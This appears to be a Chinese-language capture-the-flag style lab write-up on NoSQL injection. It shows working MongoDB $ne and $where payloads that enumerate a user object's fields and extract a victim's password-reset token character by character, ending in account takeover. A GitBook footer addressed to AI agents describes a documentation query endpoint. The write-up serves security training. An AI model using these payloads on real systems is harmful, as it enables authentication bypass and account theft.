> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).
# 使用 NoSQL 运算符提取未知字段
### 利用 NoSQL 运算符注入提取未知字段
该实验室的用户搜索功能基于 MongoDB NoSQL 数据库。它存在 NoSQL 注入漏洞。/ 目标是以……身份连接 **carlos**.
#### 初始上下文
有一个功能 **忘记密码**.
通过 POST 发送到 `/forgot-password` 如下所示：
```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```
### 登录时的 NoSQL 注入测试
当尝试在登录表单中注入 NoSQL 时：
```json
{
"username": "carlos",
"password": { "$ne": "x" }
}
```
账户被锁定并出现以下消息：
> 账户已锁定：请重置你的密码
#### 使用 `$where`
可以观察到，添加 `$where` 字段会被服务器解释为：
* 如果 `$where` 是 `1` → 账户仍然被锁定
* 如果 `$where` 值得 `0` → 锁定消失
示例：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "0"
}
```
这证实了 `$where` 运算符可执行。
#### 限制与策略变更
最初的想法是使用 `$where` 直接检查密码，例如：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.password...."
}
```
然而，由于账户被锁定，这种方法不可用。/ 因此你必须通过 **密码重置**.
#### 列出用户对象字段
`$where` 用于列出用户对象键，使用：
```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```
完整请求：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```
* `X`：字符位置（0-20）
* `Y`：测试字符（`a-z`, `A-Z`, `0-9`)
通过以下方式发送攻击 **Intruder** 替换为 **集束炸弹**
#### 字段枚举结果
根据响应长度（**Content-Length**):
* `Object.keys(this)[0]` → `id`
```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```
* `Object.keys(this)[1]` → `username`
* `Object.keys(this)[2]` → `密码`
```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```
* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`
" 该 `passwordReset` 只有在为……触发了密码重置时，此字段才会出现 **carlos**.
```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```
#### 确认 `passwordReset` 字段
访问以下端点：
```bash
/forgot-password?passwordReset=
```
答案：
> 无效令牌
该字段存在
#### 令牌列表 `passwordReset`
然后提取令牌的值：
```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```
```javascript
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.passwordReset.match('^.{X}Y.*')"
}
```
* `X`：字符位置
* `Y`：可能的字符
* 通过以下方式发送 **Intruder** （集束炸弹）
#### 结果
该 **carlos** 重置令牌被恢复：
```bash
5d252f7e28f468ee
```
#### 最终利用
有了这个令牌，你就可以访问密码重置功能，并为 **carlos**，从而让你登录到你的账户并验证实验室。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.